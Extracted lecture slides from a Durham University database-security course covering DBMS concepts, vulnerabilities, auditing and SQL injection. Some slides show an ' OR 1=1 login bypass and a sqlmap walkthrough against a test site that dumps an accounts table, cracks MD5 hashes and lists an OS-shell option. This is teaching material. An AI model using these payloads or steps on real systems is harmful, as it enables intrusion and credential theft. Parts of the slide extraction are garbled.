Cyber Security Database Security

Chris G. Willcocks Durham University

- Database:
 - An organised collection of data.
- Relational database:
 - Collection of schemas, tables, queries, reports, views, and other elements.
- DBMS:
 - MySQL, PostgreSQL, MongoDB, Oracle, ...
- Database Administrator:
 - Defines the rules that organize the data and controls access.

CUSTID

- NoSQL:
 - Sometimes "non-relational", or "not only SQL".

		-			100	-			8 - A	_		_		
		F	Artist	2		hibu	n	8			Track			MediaType
	- H	8	ArtistId			AlbumI	d			3	TrackId		00	MediaTypeId
			Name			Title					Name			Name
		-				ArtistIc	ł	-			AlbumId		_	
									•		MediaTypeId			Genre
			plaudiat			ol P		-			GenreId		00-00 0	
		1	Playiist	2		Playle	stirack				Composer		1	Genreid
		э¥.	PlaylistId		-	PlaylistI	d				Milliseconds			Name
			Name			TrackId			0000	1	Bytes			
											UnitPrice			
											9			
										1	InvoiceLine	8		
			Freedomen	Ø						3	InvoiceLineId			
		111	Employee		-						InvoiceId			
		X	EmployeeId			- Curto					TrackId			
			LastName			Custo	mer				UnitPrice			
			FirstName			Custom	erId				Quantity			
			PeperteTc		00	FirstNar	ne				0			
			BirthDate			LastNan	ne		1		Invoice		P.	
			HireDate			Address	iy .			3	InvoiceId			
			Address			City	,			2	CustomerId			
			City			State					InvoiceDate			
			State			Country	<i>i</i>				BillingAddress			
			Country	_		PostalC	ode				BillingCity			_
ID CUST_NAME	CUST_EM	AIL		ADDRESS			POSTCOD	E COU	TRYC	ODI	E PHONENUMBER	REGDA	TE	_
1 Lars Leicher	B. Victorica	@en	nailplanet.co.uk	Annerweg Ot	622		5170 QG	NL			0474-829561	3/28/201	12 10:50:49 PI	M
2 Siegfried Klein Egelink	B.Olds@g	o.cor	n	Kolkweg 020	13		8045 LO	NL			0852-286846	8/16/201	1 9:23:29 PM	
3 Rokus Labije de	E.Tabliega	@ma	iil.excite.cz	Brouwerswijl	k 0820		9658 UW	NL			0278-674673	11/23/20	011 9:42:48 PI	м
4 Dymfna Deelen	F.Horan@	netso	cape.ch	Stroetendijk	0022		8510 LG	NL			0599-403138	11/30/20	012 3:28:36 PI	M
5 Magdalena Westgeest	W.Luijk var	n@u	olmail.org	Lage Vlakter	veg 089	0	6928 W P	NL			0684-764440	2/1/2013	3 11:38:39 AM	
6 Marit Zandt van der	V.Serra@k	oja.c	o jp	Wilmsbrugwe	eg 0696		8883 XT	NL			0764-575624	5/28/201	1 6:02:32 PM	
7 Lodewijk Kooistra	H.Bakken(@yuk	bi.net	Vorenkamps	weg 091	77	2751 FI	NL			0341-273177	4/4/2011	1:29:38 PM	
8 Nabil Grüter	E.Moe@mi	ailhos	st.com	Boerswegje,	Jan 048	38	0087 FJ	NL			0771-471483	8/5/2011	12:42:40 AM	
9 Har Wieling	L.Palomar(@ne>	kmail.co.za	Scholtenstee	eg 0022		8348 SY	NL			0552-514808	5/12/201	1 7:11:45 PM	
10 Ovidius Velde van de	Q.Valbaler	@ya	hoo.br	Maaikeduinm	/eg 0676	5	9828 LW	NL			0726-422183	8/31/201	2 5:05:38 PM	
11 Afke Tingen	E.Blancas	@bra	isilia.se	Wissenweg	0543		8697 VD	NL			0230-383177	2/17/201	2 12:52:39 AI	M
12 Tabita Goosen	R.Castaño	n@u	iol.info	Bieslook / No	oord.sch	nut 0007	8363 NH	NL			0231-688709	3/29/201	2 10:41:19 A	M
13 Klaasje Asten van	J.Fabian@	terra	amail.com.br	Tipslagweg (0622		0887 KZ	NL			0684-322914	12/4/201	2 7:55:30 AM	
14 Amelis Poorthuis	A.Gurney	@bim	amail.info	Burgemeeste	er de Ko	ckstraat 0342	6399 BD	NL			0729-521431	3/28/201	1 5:24:45 PM	
15 Jeannette Lowensteyn	J.Teijon@t	ropic	smail.tk	Korte Kerkw	eg 0655		2477 HY	NL			0617-656686	2/25/201	3 4:30:14 PM	
16 José Giesbergen	D.Riehl@s	ina.b	r	Koppeling, D	e 0129		9536 BJ	NL			0477-566782	3/7/2012	2 11:52:50 AM	
17 Carin Pol van de	M.Hulst va	n der	r@popgate.gr	De Vang 017	'9		3520 ×I	NL			0230-774582	6/7/2011	2:13:53 AM	
18 Steffi Munsters	V.Bentum@	2yah	ioo.tk	Kleine Veerw	eq 0571	1	1876 NP	NL			0552-863691	3/20/201	2 4:33:35 AM	

Database Management System

• DBMS roles:

- Concurrency
- Security
- Data Integrity
- Administration procedures
 - Change management
 - Performance monitoring/tuning
 - Backup & Recovery
- Automated rollbacks, restarts and recovery
- Logging/auditing of activity

DBMS consists of:

- 1. The data
- 2. The engine
 - Allows data to be:
 - i. Locked
 - ii. Accessed
 - iii. Modified
- 3. The schema
 - Defines the database's logical structure











- Top databases (Feb 2024)
- Still dominated by relational DBMS
- But it's not all about SQL injection any more...

	Rank				S	core		
Feb 2024	Jan 2024	Feb 2023	DBMS	Database Model	Feb 2024	Jan 2024	Feb 2023	
1.	1.	1.	Oracle 🚹	Relational, Multi-model 🛐	1241.45	-6.05	-6.08	
2.	2.	2.	MySQL 🚹	Relational, Multi-model 👔	1106.67	-16.79	-88.78	
3.	3.	3.	Microsoft SQL Server 🕂	Relational, Multi-model 👔	853.57	-23.03	-75.52	
4.	4.	4.	PostgreSQL 🖪	Relational, Multi-model 👔	629.41	-19.55	+12.90	
5.	5.	5.	MongoDB 🔁	Document, Multi-model 👔	420.36	+2.88	-32.41	
6.	6.	6.	Redis 🕂	Key-value, Multi-model 👔	160.71	+1.33	-13.12	NoSQL
7.	7.	1 8.	Elasticsearch	Search engine, Multi-model 👔	135.74	-0.33	-2.86	- NoSQL
8.	8.	4 7.	IBM Db2	Relational, Multi-model 👔	132.23	-0.18	-10.74	
9.	9.	♠ 12.	Snowflake 🛨	Relational	127.45	+1.53	+11.80	
10.	↑ 11.	4 9.	SQLite 🗄	Relational	117.28	+2.08	-15.38	

417 systems in ranking, February 2024

Database application types





Table: Users

ID	Name	Email	City	Lat_N	Bitcoins
1001	Jess	jess@dur.ac.uk	Exeter	40	10
1002	Chris	chris@dur.ac.uk	Durham	33	7
1003	Greg	greg@dur.ac.uk	Toulouse	47	0.001
1004	Anna	anna@dur.ac.uk	Durham	21	0.2

SELECT Name FROM Users WHERE City = Durham; GRANT SELECT ON ANY TABLE TO Chris

- SELECT * FROM Users WHERE Lat_N > 39.7;
- SELECT ID, Name, City FROM Users ORDER BY Lat_N;
- UPDATE Users SET Bitcoins = Bitcoins + 0.001;

NoSQL databases



>>> from pymongo import MongoClient

>>> uri = "mongodb://user:password@example.com/the_database?authMechanism=SCRAM-SHA-1"

- >>> client = MongoClient(uri)
- >>> db = client['test-database']
- >>> collection = db['test-collection']

>>> import datetime

>>> post = {"author": "John",

- ... "text": "My first blog post!",
- ... "tags": ["python", "pymongo", "monty"],
- ... "date": datetime.datetime.utcnow()}

Created lazily - none of the commands have actually performed any operations on the server until the first document is inserted into them: >>> posts = db.posts >>> post_id = posts.insert_one(post).inserted_id >>> post_id ObjectId('...')

Type +	Examples of this type +
Key-Value Cache	Coherence, eXtreme Scale, Hazelcast, Infinispan, JBoss Cache, Memcached, Repcached, Velocity
Key-Value Store	ArangoDB, Flare, Keyspace, RAMCloud, SchemaFree, Hyperdex, Aerospike, quasardb
Key-Value Store (Eventually-Consistent)	DovetailDB, Oracle NoSQL Database, Dynamo, Riak, Dynomite, Voldemort, SubRecord
Key-Value Store (Ordered)	Actord, FoundationDB, InfinityDB, Lightcloud, LMDB, Luxio, MemcacheDB, NMDB, TokyoTyrant
Data-Structures Server	Redis
Tuple Store	Apache River, Coord, GigaSpaces
Object Database	DB4O, Objectivity/DB, Perst, Shoal, ZopeDB
Document Store	ArangoDB, Clusterpoint, Couchbase, CouchDB, DocumentDB, IBM Domino, MarkLogic, MongoDB, Qizx, RethinkDB, XML- databases
Wide Column Store	Amazon DynamoDB, BigTable, Cassandra, Druid, HBase, Hypertable, KAI, KDI, OpenNeptune, Qbase

Database security overview

• Vulnerabilities not necessarily proportional to popularity



Source: Qualys, Inc.

1. Primary concepts

- **Authentication** who are you?
- **Authorization** what are you allowed to do?
- Encryption protecting the data
- Auditing what did you do?



2. Other important concepts

- Redaction <u>disguise</u> sensitive data on returned results (<u>oops!</u>)
- Masking creating similar but inauthentic version of the data for training/testing
- Firewall threat patterns, approved whitelisted commands, blacklist (harmful) commands, monitor for data leakage, evaluate IP address/time/location
- Integrity data should be accurate and tolerant to physical problems (hardware failure, power failures)



- Vast majority of records breached are from database leaks
 - Not surprising that hackers are going after databases
 - They contain transactional information, financial details, emails, ...
- Relatively small portion of security budget is spent on data center security. Even in the modern day lots of "new" tutorials are bad.



Database vulnerability popularity



1. Excessive and Unused Privileges

- 2. Privilege Abuse
- 3. SQL injection
- 4. Malware
- 5. Weak audit trail
- 6. Storage media exposure
- 7. Exploitation of vulnerabilities and misconfigured databases
- 8. Unmanaged sensitive data
- 9. DoS
- 10. Limited security expertise and education

Breaches ccommodation (72) anufacturing (31-33 ofessional (54) formation (51) Education (61) ealthcare (62) etail (44-45) inance (52) ublic (92) Malware Hacking Misuse 32 Socia Physical User Dev 32 117 165 133 Server Person Asset Network Media Kiosk/Term 17 1

Rankings & Source: Verizon.

- Privilege control mechanisms for job roles have often not been well defined or maintained.
- People join the company, leave the company, change roles, their privileges often grow and aren't scaled back to be inline with their job requirements.
- Probably the greatest chance of impact in organisations.





- People who have legitimate use of data, but choose to abuse it.
 - e.g. people doing things to the neighbors or friends
- Employees often feel entitled to take data with them
 - They feel they were a part of creating this data, therefore they will take it with them.
 - Lots of high-profile cases
 - Celebrities
 - Political figures



- Inserting or injecting unauthorised malicious database statements somewhere in the application or database that gets executed by the database itself.
 - Making critical data available to be viewed, copied or changed.
- Typing structured query language commands to the database
- In many times the database opens up and spits out its contents
- "... one SQL injection attack can bring in big bucks. It's a no-brainer that you should make this problem a top priority"

Please sign in

Admin	
' OR 1 = 1	
Remember me	
Sign in	
Sign in	





#3 SQL injection & prepared statements

- Prepared statements are a good defense against SQL injection.
- Original, insecure code:

```
email = request.getParameter("email")
password = request.getParameter("password")
sql = "SELECT * FROM users WHERE (email = `" + email +"' AND password = `" + password + "')"
"SELECT * FROM users WHERE (email = `chris@dur.ac.uk' AND password=`' OR 1=1 -- )"
example
exploit
```

```
result = statement.executeQuery(sql)
```

icuse sign	
Admin	
' OR 1 = 1	
Remember me	
Sign in	

• Becomes:

```
email = request.getParameter("email")
password = request.getParameter("password")
# sql = "select * from users where (email = '" + email +"' and password = '" + password + "')";
sql = "select * from users where email = ? and password = ? ";
result = statement.executeQuery(sql, [email, password])
parameterizes the SQL statement with the email
and password data (doesn't mix code and data)
```

Hacking with sqlmap

 Full support for MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, HSQLDB and Informix database management systems.



Hacking with sqlmap

- 1. Input url (-u)
- 2. Get databases --dbs



chris@chris-lab > / master •) sqlmap -u http://www.webscantest.com/datastore/search_get_by_id.php\?id\=4 --db {1.1.11#stable} http://sglmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the en d user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 19:35:02 [19:35:02] [INFO] resuming back-end DBMS 'mysql' [19:35:02] [INFO] testing connection to the target URL [19:35:02] [INFO] heuristics detected web page charset 'ascii' sqlmap resumed the following injection point(s) from stored session: Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=4 AND 2126=2126 Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: id=4 AND (SELECT 8477 FROM(SELECT COUNT(*), CONCAT(0x71786a7a71, (SELECT (ELT(8477=8477,1))), 0x71766b6 b71,FLOOR(RAND(0)*2))x FROM INFORMATION SCHEMA.PLUGINS GROUP BY x)a) Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: id=4 AND SLEEP(5) Type: UNION query Title: Generic UNION query (NULL) - 4 columns Payload: id=4 UNION ALL SELECT NULL, CONCAT(0x71786a7a71, 0x54796e6c61505248554b594e424648634e52634e4f536664446 6b566774596c636a556344477859,0x71766b6b71),NULL,NULL-- TXuS [19:35:02] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu web application technology: Apache 2.4.7, PHP 5.5.9 back-end DBMS: MySQL >= 5.0 [19:35:02] [INFO] fetching database names available databases [2]: *] information schema *] webscantest [19:35:02] [INFO] fetched data logged to text files under '/home/chris/.sqlmap/output/www.webscantest.com'

Hacking with sqlmap



[19:38:32] [INFO] the back-end DBMS is MySQL	-
<pre>web server operating system: Linux Ubuntu web application technology: Apache 2.4.7, PHP 5.5.9 back-end DBMS: MySQL >= 5.0 [19:38:32] [INFO] fetching database names [19:38:32] [INFO] fetching tables for databases: 'information_schema, bscantest' Database: webscantest [4 tables]</pre>	-
++	
accounts inventory orders products ++	[19 [19 web Dat
Database: information_schema	15
[40 tables]	+
++ CHARACTER_SETS COLLATIONS COLLATION_CHARACTER_SET_APPLICABILITY COLUMNS	+ 1 1
COLUMN_PRIVILEGES	l i f
INNODB_TRX KEY_COLUMN_USAGE PARAMETERS PARTITIONS PLUGINS PROCESSLIST PROFILING REFERENTIAL_CONSTRAINTS	u + [19 s/. [*]
ROUTINES	cl

3. Get tables and columns (--tables,--columns)

[19:43:08] [INFO] fetching current database [19:43:08] [INFO] fetching columns for table 'accounts' in database
Webscantest' Database' webscantest
Table: accounts
[5 columns]
++
Column Type
fname varchar(50) id int(50) lname varchar(100) passwd varchar(100) uname varchar(50)
[19:43:08] [INFO] fetched data logged to text files under '/home/chr s/.sqlmap/output/www.webscantest.com'
[*] shutting down at 19:43:08
chris@chris_lah



4. Dump the data (--dump)

5. Crack password hashes

[19:50:29] [INFO] recognized possible password hashes in do you want to store hashes to a temporary file for event	column ' ual furt	passwd' her proce	ssing with other	tools [y/N
[19:50:39] [INFO] writing hashes to a temporary file '/tm do you want to crack them via a dictionary-based attack? [19:50:40] [INFO] using hash method 'md5_generic_passwd' what dictionary do you want to use? [1] default dictionary file '/opt/sqlmap/txt/wordlist.zip [2] custom dictionary file [3] file with list of dictionary files	p/sqlmap [Y/n/q] ' (press	PmTZUE923 y Enter)	3/sqlmaphashes-4	Uinqc.txt'
<pre>[19:50:42] [INFO] using default dictionary do you want to use common password suffixes? (slow!) [y/N [19:50:45] [INFO] starting dictionary-based cracking (md5, [19:50:45] [INFO] starting 8 processes [19:50:46] [INFO] cracked password 'admin' for hash '2123 [19:50:50] [INFO] cracked password 'testpass' for hash '1 Database: webscantest Table: accounts [2 entries]</pre>] y _generic 2f297a57 79ad45c6	_passwd) a5a743894 ce2cb97cf	a0e4a801fc3' 1029e212046e81'	
+ uname passwd	+ fname	++ lname		
+ admin 21232f297a57a5a743894a0e4a801fc3 (admin) testuser 179ad45c6ce2cb97cf1029e212046e81 (testpass) +	+ Admin Test +	++ King User ++		
[19:50:50] [INFO] table 'webscantest.accounts' dumped to (scantest.com/dump/webscantest/accounts.csv' [19:50:50] [INFO] fetched data logged to text files under .com'	CSV file '/home/	'/home/c chris/.sq	hris/.sqlmap/out lmap/output/www.	put/www.web webscantest
[*] shutting down at 19:50:50				
chris@chris-lab 🔪 ~ 🦞 master 🔹 🗌				

Other fun options



Iniection:

These options can be used to specify which parameters to test for, provide custom injection payloads and optional tampering scripts

-p TESTPARAMETER dbms=DBMS	Testable parameter(s) Force back-end DBMS to this value
Detection: These options can	be used to customize the detection phase
level=LEVEL risk=RISK	Level of tests to perform (1-5, default 1) Risk of tests to perform (1-3, default 1)
Techniques: These options can techniques	be used to tweak testing of specific SQL inject
technique=TECH	SQL injection techniques to use (default "BEL
Enumeration: These options can management system tables. Moreover y	be used to enumerate the back-end database information, structure and data contained in th ou can run your own SQL statements
-a,all -b,banner current-user passwords tables columns schema dump dump-all -D DB -T TBL -C COL	Retrieve everything Retrieve DBMS current user Retrieve DBMS current user Retrieve DBMS current database Enumerate DBMS database tables Enumerate DBMS database tables Enumerate DBMS database table columns Enumerate DBMS database table entries Dump DBMS database table entries DBMS database to enumerate DBMS database table(s) to enumerate DBMS database table(s) to enumerate
Operating system acc These options can system underlying	ess: be used to access the back-end database managem operating system

STQ")

os-shell	Prompt for an interactive operating system shell
	Prompt for an oob shell, heterpreter of the
eneral:	
These options can	be used to set some general working parameters
batch	Never ask for user input, use the default behaviour
flush-session	Flush session files for current target
liscellaneous:	
sqlmap-shell	Prompt for an interactive solmap shell

--wizard Simple wizard interface for beginner users chris@chris-lab

Get interactive operating system shell



- We've said that the vast majority of breaches are with databases
 - a. But most breaches involve malware.
- Organisations are quickly compromised and then their data goes out the door within minutes or hours.
- It takes weeks to months to discover this has happened.
- It takes <u>weeks to months</u> to contain and remediate the problem.
- Common strategy:
 - a. Spear phishing (emails)
 - b. Malware
 - c. Credentials stolen
 - d. Data being stolen

То	Tax Assistance needed
Message	Tax-infor.doc (64 KB)
Hello CPA. I need a care IRS problem	eful and experienced high quality accountant, to handle all matters of accounting including tax preparation, n resolution, and matters expected of a CPAs to handle for Individual and Small Business
Find attache Regards	ed is my tax documents. Please advise



- We get a much clearer picture of what's going on with more detail and resolution
- Most organisations don't record all the details that you need to deal with the aftermath of these situations
- Hard to trace back to individual users

From		N days ago		▼ 1 ≑	(03/24/201	16 00:00)	ಲ Refresh	Filters	5	
То		Today		v (03/25	5/2016 00:00)					
				<u>first</u> p	revious	Page 1	next last		Page size : 2	0
Edit	ID	Rule	Login	Application	Instance	SQL State	ement	Time	Rows	Error
Open >>	2229	audit rule 1	postg	pgAdmin III	test_db	SELECT (CASE WHEN typbasetype=0 THEN oid els	se typbasetype 24.03 13	3:18 1	No
Open >>	2228	audit rule 1	postg	pgAdmin III	test_db	SELECT f	ormat_type(oid,-1) as typname FROM pg_	type WHERE 24.03 13	3:18 1	No
Open >>	2227	audit rule 1	postg	pgAdmin III	test_db	SELECT (CASE WHEN typbasetype=0 THEN oid els	se typbasetype 24.03 13	3:18 1	No
Open >>	2226	audit rule 1	postg	pgAdmin III	test_db	SELECT f	ormat_type(oid,-1) as typname FROM pg_	type WHERE 24.03 13	3:18 1	No
Open >>	2225	audit rule 1	postg	pgAdmin III	test_db	SELECT (CASE WHEN typbasetype=0 THEN oid els	se typbasetype 24.03 13	3:18 1	No
Open >>	2224	audit rule 1	postg	pgAdmin III	test_db	SELECT f	ormat_type(oid,-1) as typname FROM pg	type WHERE 24.03 13	3:18 1	No
Open >>	2223	audit rule 1	postg	pgAdmin III	test_db	SELECT (CASE WHEN typbasetype=0 THEN oid els	se typbasetype 24.03 13	3:18 1	No
Open >>	2222	audit rule 1	postg	pgAdmin III	test_db	SELECT f	ormat_type(oid,-1) as typname FROM pg_	type WHERE 24.03 13	3:18 1	No
Open >>	2221	audit rule 1	postg	pgAdmin III	test_db	select * fro	om test_table	24.03 13	3:18 9	No
Open >>	2220	audit rule 1	postg	pgAdmin III	test_db	SELECT (CASE WHEN typbasetype=0 THEN oid els	se typbasetype 24.03 13	3:17 1	No
Open >>	2219	audit rule 1	postg	pgAdmin III	test_db	SELECT f	ormat_type(oid,-1) as typname FROM pg_	type WHERE 24.03 13	3:17 1	No
Open >>	2218	audit rule 1	postg	pgAdmin III	test_db	SELECT (CASE WHEN typbasetype=0 THEN oid els	se typbasetype 24.03 13	3:17 1	No
Open >>	2217	audit rule 1	postg	pgAdmin III	test_db	SELECT f	ormat_type(oid,-1) as typname FROM pg_	type WHERE 24.03 13	3:17 1	No
Open >>	2216	audit rule 1	postg	pgAdmin III	test_db	SELECT (CASE WHEN typbasetype=0 THEN oid els	se typbasetype 24.03 13	3:17 1	No
Open >>	2215	audit rule 1	postg	pgAdmin III	test_db	SELECT f	ormat_type(oid,-1) as typname FROM pg_	type WHERE 24.03 13	3:17 1	No
Open >>	2214	audit rule 1	postg	pgAdmin III	test_db	SELECT (CASE WHEN typbasetype=0 THEN oid els	se typbasetype 24.03 13	3:17 1	No
Open >>	2213	audit rule 1	postg	pgAdmin III	test_db	SELECT f	ormat_type(oid,-1) as typname FROM pg	type WHERE 24.03 13	3:17 1	No
Open >>	2212	audit rule 1	postg	pgAdmin III	test_db	select * fro	om test_table	24.03 13	3:17 9	No
Open >>	2211	audit rule 1	postg	pgAdmin III	test_db	SELECT of	oid, pg_encoding_to_char(encoding) AS e	ncoding, datla 24.03 13	3:17 1	No
0000 22	2210	audit rule 1	nosta	ngAdmin III	toet dh	SELECT	(orgion():	24.02.42	2.47 4	NI-

• Auditing

- Undocumented create, drop, alter, grant, deny, revoke (events should be investigated)
- Select, insert, update, delete, merge, lock table (useful for deep non-daily analysis)
- Access history (check for users accessing data they shouldn't have)
- Permission changes
- Unauthorized access
 - Failed login attempts by non-existent users or wrong passwords
- Failed & successful login attempts
- Performance monitoring
 - DoS, alerts, automated response rules
- Version control



		ApexSQL Audit	⊡ – □ ×
	Home Resources	Image: Second Heating Second Heating Second Heating Second Heating Heating Heating Heating Heating Heating Heating Second Heating Second Heating	
	Overview Auditing	Reporting Alerting Central repository Tools	
	Reports # 1	tame Complete audit trail	Save X Discard Report summary #
	1 New* 9 Import 9 Export	🖫 Event source 🛛 🖓 Preview 📓 Generate *	10:00 • III Columns• P
Session* - ApexSQL	Ing II		Select
1 🗃 🕞 🖶 🗊 🏷 🛟 🖏 M 🖻 📰 🗔 💷 🌉	4	ofsa[50,2014] W V 04-21-2017 02:25:54:913 PM [Zwenia160;2014] CheckGolation [ZME80A/Webgia Apex5Q, Audit objects SELECT SOMM_AWWE (schema_id) AS [Schema], name AS [Name], type as [Type] [ROM sys.objects	Select Select Select Select
New Open Session Save Refresh Undo Redo Before-After Export Find Copy Select Auto size Select Old table transaction columns ID mapping	Options	V 04-21-2017 02:09:54.267 PM Zwerka/SQL 2014 CheckCollation ZWERKA/Vebojsa AperSQL Audit objects	Select Select
Sessions Actions Results Tools		ERKAWebojsa v SELECT SCHEMA_NAVE(schema_id) AS [Schema], name AS [Name] , type as [Type] FROM sys.objects	V Rename object
Grid filter 🕆 Open 📆 Save 🏹 Clear 🏹 Apply	Begin time 🔺 End time Transaction duration Transaction name Transaction ID User ID	ERKA V 04-21-2017 01:30:08-327 PM Zwerka SQL2014 OheckCollation ZWERKA Webojsa Microsoft SQL Server Management Studio filegroup	ps Select
Time DML DDL Users Other Create Table doo Table001 Committed ZWERKA Committed ZWERKA Committed ZWERKA	Webojsa 2016-11-11 13:06:32 2016-11-11 13:06:32 00:00:00 00:00:00 CREATE TABLE 0000:0000031B 0x010500000 Webojsa 2016-11-11 13:06:42 00:00:00 INSERT 0000:00000329 0x0105000000	000005150003000 SELECT 000005150017000 V ISHULL((select top 1 1 from sys.filegroups FG where FG.[type] - 'FX'), 0) AS [HasHemoryOptimize	edObjects]
Period Description of the provided and t	Nebojsa 2016-11-11 13:06:42 2016-11-11 13:06:42 00:00:00 INSERT 0000:0000032C 0x0105000000 Nebojsa 2016-11-11 13:06:42 00:00:00 INSERT 0000:0000032C 0x0105000000	000005150002000 04-21-2017 01:30:04.660 PM Zwerka/SQL2012 master ZWERKA/Webojsa ApexSQL Audit	Audit login failed + Secure: Exec, DBCC
From: V 17-Oct-16 13:09:34 V I Insert doo Table001 Committee ZWERKA	Webojsa 2016-11-11 13:06:42 2016-11-11 13:06:42 00:00:000 INSERT 0000:0000032E 0x0105000000	Login failed for user 'ZNERKA/Webojsa'. Reason: Failed to open the explicitly specified databas 'ApexSQLAuditBeforeAfter'. [CLIENT: <local machine="">]</local>	se
To: V 21-Oct-16 13:09:34 V Insert doo Table001 Committed ZWERKA	Webojsa 2016-11-11 11:0:06:42 2016-11-11 11:0:06:42 00:00:00 INSERT 0000:0000032F 0x010500000 Nebojsa 2016-11-11 13:15:51 2016-01-11 0:0:0:00 DELETE 0000:00000336 0x0105000000	000005150002000 0+21-2017 01:29:39.500 PM Zwerka/SQL2012 master ZWERKA/Webojsa ApexSQL Audit 000005150002000 Login failed for user "ZWERKA/Webojsa". Reason: Failed to open the explicitly specified database	Audit login failed
Advanced ZWERKA	Mebojsa 2016-11-11 13:15:51 2016-11-11 13:15:51 00:00:00 DELETE 0000:00000336 0x0105000000	000005150004000 ("ApexSQLAuditBeforeAfter", [CLIENT: <local machine="">]</local>	Prise
Week days: Monday, Tuesday, Wednesday, Thursday, Friday	Vebojsa 2016-11-11 13:15:51 2016-11-11 13:15:51 00:00:00 DELEVE 0000:00000336 0x010500000 (Mebojsa 2016-11-11 13:15:51 2016-11-11 13:15:51 00:00:00 DELEVE 0000:00000336 0x0105000000	00000515000500 SELECT	boccc b boccc b b cogins: ZWERKA Webojsa b Clent hosts: ZWERKA
Day time: 05:00:00 - 12:00:00	Nebojsa 2016-11-11 13:15:51 2016-11-11 13:15:51 00:00:00 DELETE 0000:00000336 0x010500000	ISNULL(select top 1 1 from sys.filegroups PG where PG.[type] = "PX"), 0) AS [HasMemoryOptimize	addbjects)
Session time view of the session tin view of the session time view of the session time view of t	Neboja 2016-11-11 13:38:15 2016-11-11 13:38:15 00:00:00 INSERT 0000:00000339 0x010500000	Alert 'Auditing alert for SQL 2016' was triggered on instance 'ALEKSANDAR (SQL2016'. Alert type: Data' 03/23 19 Alert 'Auditing alert for SQL 2016' was triggered on instance 'ALEKSANDAR (SQL2016'. Alert type: Data' 03/23 19	9:44:51
Insert doo Table001 Committed ZWERKA Insert doo Table001 Committed ZWERKA	Nebojsa 2016-11-11 13:38:15 2016-11-11 13:38:15 00:00:00 INSERT 0000:0000033A 0x010500000 Nebojsa 2016-11-11 13:38:15 2016-11-11 13:38:15 00:00:00 INSERT 0000:0000033B 0x010500000	Alert 'Auditing alert for SQL 2016' was triggered on instance 'ALEKSANDAR\SQL2016'. Alert type: 'Data' 03/23 19	.9:44:51
Find Disert doo Table001 Committed ZWERKA	Nebojsa 2016-11-11 13:38:15 2016-11-11 13:38:15 00:00:00 INSEF 🧭 Refresh 0000	Alert 'Auditing alert for SQL 2016' was triggered on instance 'ALEKSANDAR\SQL2016'. Alert type: 'Data' 03/23 19	9:44:51
V Create Trigger dbo Table001ApexSQLAudtBeforeTrig Committed ZWERKA	Nebojsa 2016-11-17 19:17:59 2016-11-17 19:17:59 00:00:00.5400000 user 👬 Find 0000 Nebojsa 2016-11-17 19:17:59 2016-11-17 19:17:59 00:00:00.5400000 user 100000	Alert 'Auditing alert for SQL 2016' was triggered on instance 'ALEKSANDAR\SQL2016'. Alert type: 'Data' 03/23 19	9:44:51 *
Ontions	Nebojsa 2016-11-17 19:17:59 2016-11-17 19:17:59 00:00:00.5400000 user	Alert 'Auditing alert for SQL 2016' was triggered on instance 'ALEKSANDAR\SQL2016'. Alert type: 'Data' 03/23 19 03/23 19	3:44:51
Match case	Vebojsa 2016-11-24 12:49:54 2016-11-24 12:49:54 00:00:00.2470000 user_	Alert Auditing alert for SQL 2016 was triggered on instance ALEXSANDAR (SQL2016 - Alert type: Data O3/23 19 O3/23 19 O3/23 19	6:35:21
Match whole word A Match whole word Match whole word A Match whole wor	Nebojsa 2016-11-24 12:49:54 2016-11-24 12:49:54 2016-11-24 12:49:54 00:00:00.2470000 user 🔚 Auto size columns 0000	Alert 'Auditing alert for SQL2016' was triggered on instance 'ALEKSANDAR \SQL2016'. Alert type: 'Data' 03/23 10	.6:35:21
Search up	Nebojsa 2016-11-24 12:49:54 2016-11-24 12:49:54 00:00:00.2470000 user Select columns 0000	o ₄ Severity: Medium	
Use regular expressions	5 Create undo script	Alert 'Auditing alert' was triggered on instance 'ALEKSANDAR\SQL2016'. Alert type: 'Data' 03/23 18	6:35:25
Search in Operation details Row history Undo script Redo script Transaction information	Create redo script	Alert 'Auditing alert' was triggered on instance 'ALEKSANDAR\SQL2016'. Alert type: 'Data' 03/23 16	6:35:25
Grid Begin time Operation Schema Object User End Di Control Contro Contro Control Control Control Control Co	me Transaction ID LSN Sy Create Before-After report >	Alert 'Auditing alert' was triggered on instance 'ALEKSANDAR\SQL2016'. Alert type: 'Data' 03/23 16	5:35:25
Operation getals 2016-11-11 13:06:32 Under sys systemotics ZWERKA/Webojas 2016-	11-11 13:06:32 0000:0000031B 0000003:0000008:0003	A Alert 'Auditing alert' was triggered on instance 'ALEKSANDAR\SQL2016'. Alert type: 'Data' 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 